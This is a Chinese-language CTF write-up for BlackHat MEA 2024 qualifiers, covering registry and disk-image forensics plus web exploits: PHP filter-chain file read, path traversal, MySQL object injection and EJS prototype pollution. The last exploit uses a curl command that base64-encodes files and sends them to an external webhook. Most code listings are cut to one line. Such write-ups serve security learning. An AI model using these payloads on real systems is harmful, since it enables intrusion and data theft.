BlackHat-MEA-2024-Quals
Artifact
通过在 linux 中运行file命令,发现附件是一个 Windows 注册表文件。
这里用WRR分析
我们可能会搜索 (Ctrl+f) powershell.exe或 cmd.exe,因为 exe 文件总是使用这些服务来执行。

我们得到了 2 个结果。在第二个结果中滚动到最后发现名为DeadPotato-NET4.exe的可疑.exe文件。
搜索确定这是一个用来提权的程序
关于首次执行时间,RegRipper好像能直接看到,WRR中可以看到,与时间戳关联的二进制数据采用REG_BINARY格式,显示如下:
相关的 8 字节时间戳为:
8a 23 3f 9a b0 ea da 01
为了解释这个时间戳,我们使用 Python 脚本将二进制 FILETIME 值转换为人类可读的格式。以下是用于转换的代码:
1 | import struct |
使用提取的 8 字节二进制数据运行脚本会产生以下输出:
1 | Converted timestamp: 2024-08-09 22:42:13 |
最终flagBHFlagY{DeadPotato-NET4.exe_09/08/2024_22:42:13}
NotFS
初始分析
- 下载获得磁盘镜像文件
Chall.img - 首先我们将使用mmls命令显示卷系统的分区布局(分区表)。来自SleuthKit工具包。
分区分析
- 使用
mmls工具显示分区布局:
1 | mmls Chall.img |
- 发现一个NTFS/exFAT分区,扇区范围:39168-1063168

挂载尝试
- 首次尝试直接挂载失败
1 | dd if=Chall.img of=ch_1 bs=512 skip=0 count=1024001 |
- 学习loop设备概念:在类Unix系统中,loop设备使文件可作为块设备访问
正确挂载流程
- 设置loop设备:
1 | sudo losetup /dev/loop1 /home/kali/Desktop/Chall.img |
- 检查loop设备关联:
1 | losetup -a |
- 使用偏移量挂载:
1 | sudo mount -o loop,offset=$((0x100000)) /dev/loop1 /mnt/disk |
件分析
- 列出挂载目录内容,发现大量
.webp文件和一个.png文件 - 复制PNG文件到桌面进行分析
修复PNG文件
- 发现PNG文件无法打开
- 使用hex编辑器检查发现缺少PNG魔数
- 添加PNG魔数头:
89 50 4E 47 0D 0A 1A 0A - 成功修复并打开PNG文件,找到flag
最终flag
手动挂载是很帅,但是Rstudio直接秒了。。。
Free Flag
index.php
1 |
|
传入file任意文件读,但是读出来的文件得以<?php或者<html开头,那么不能直接读/flag.txt
通过使用wrapwarp工具构造符合前后缀要求的payload,可绕过文件内容检查。以下命令生成payload:
1 | python wrapwrap.py /flag.txt "<?php" "?>" 100 |
php_filter_chain_generator也可以生成payload
最终payload
1 | POST / HTTP/1.1 |
Watermelon
app.py
1 | from flask import Flask, request, jsonify, session, send_file |
漏洞很明显,file_path可控file_path = os.path.join(user_dir, filename),那么思路就很顺畅了
- 注册普通用户
- 路径穿越读sqlite数据库获取admin的密码
- 以admin身份登录
- 访问/admin获取flag
1 | POST /register HTTP/1.1 |
1 | POST /login HTTP/1.1 |
1 | POST /upload HTTP/1.1 |
从数据库db.db中读取管理员密码,然后以管理员身份登录
1 | GET /file/1 HTTP/1.1 |
1 | POST /login HTTP/1.1 |
1 | GET /admin HTTP/1.1 |
Notey
databse.js
1 | const mysql = require('mysql'); |
index.js
1 | const express = require('express'); |
middleware.js
1 | const auth = (req, res, next) => { |
阅读 database.js 后,我们了解到系统会创建一个管理员用户,并在该用户中添加一条包含flag的笔记。
因此,本挑战的目标是能够读取管理员用户中的笔记。
查看 index.js 中的 viewNote 函数可知,我们需要通过身份验证并同时持有 note_id 和 secret_id。
viewNote中的认证中间件函数位于middle.js代码中,其唯一作用是验证session cookie是否包含username属性——且不考虑实际用户名内容。
为深入测试代码,首先编写了Python脚本实现注册、登录及添加笔记功能。
注意到note_id从67开始。
再次查看 index.js 中的源代码,你会注意到它以以下代码片段开头:
1 | app.use(bodyParser.urlencoded({ |
谷歌搜索显示,该漏洞曾在 https://ctftime.org/writeup/23047 中被利用。
此设置指示正文解析器接受请求正文中的数组和对象,
例如以下格式的数据:
1 | user[name]=John&user[age]=30 |
包解析器将其解释为一个对象:
1 | user = { name: 'John', age: 30 } |
由于我们知道note_id可能是66,但不知道note_secret,因此可以尝试在note_secret位置传递一个包含已知属性的对象。以下是我尝试的payload:
1 | note_id=66¬e_secret[note_id]="" |
包解析器应将其解释为对象:
1 | note_secret = { note_id: 66 } |
这会使SQL语句变成下面这样:
1 | Select note_id,username,note FROM notes WHERE note_id = 66 and secret= `note_id` = 66; |
因此最终exp如下
1 | import requests |

Fastest Delivery Service
app.js
1 | const express = require('express'); |
分析代码后发现,根据Dockerfile配置,密钥存储在服务器 /tmp/flag_{随机字符串}.txt 文件中。因此我们需要获取远程代码执行权限(RCE)来提取密钥。经进一步排查,在地址添加函数中发现了服务器端原型污染漏洞:
1 | app.post('/address', (req, res) => { |
乍一看,发现它使用用户传递的参数修改对象
1 | addresses[user.username][addressId] = Fulladdress; |
这让我意识到存在prototype pollution
我们可以控制这段代码中的所有参数
1 | username : /register |
此处,addresses[user.username][addressId] = Fulladdress; 接受请求中的两个参数:addressId 和 Fulladdress。要利用此服务器端原型污染漏洞,我们需要控制会话中的 user.username。由于应用程序使用 ejs 引擎,若能控制 user.username,即可实现远程代码执行(RCE)。
发现可以通过注册用户名 __proto__ 的新用户来控制 user.username。接着可添加地址,设置 addressId: escapeFunction 和 Fulladdress: JSON.stringify;process.mainModule.require('child_process').exec('curl "http://WEHOOK/$(cat /tmp/*.txt | base64 -w 0)"')。
接着添加另一个地址,设置 addressId: client 和 Fulladdress: true。
最后访问 http://id_here.playat.flagyard.com/ 索引页或任意页面,可观察到命令已执行,通过webhook即可获取flag。
因服务器限制会导致会话在3秒内失效,故采用自动化脚本实现漏洞利用:该脚本注册新用户、登录系统并触发服务端原型链污染漏洞。
1 | import requests |
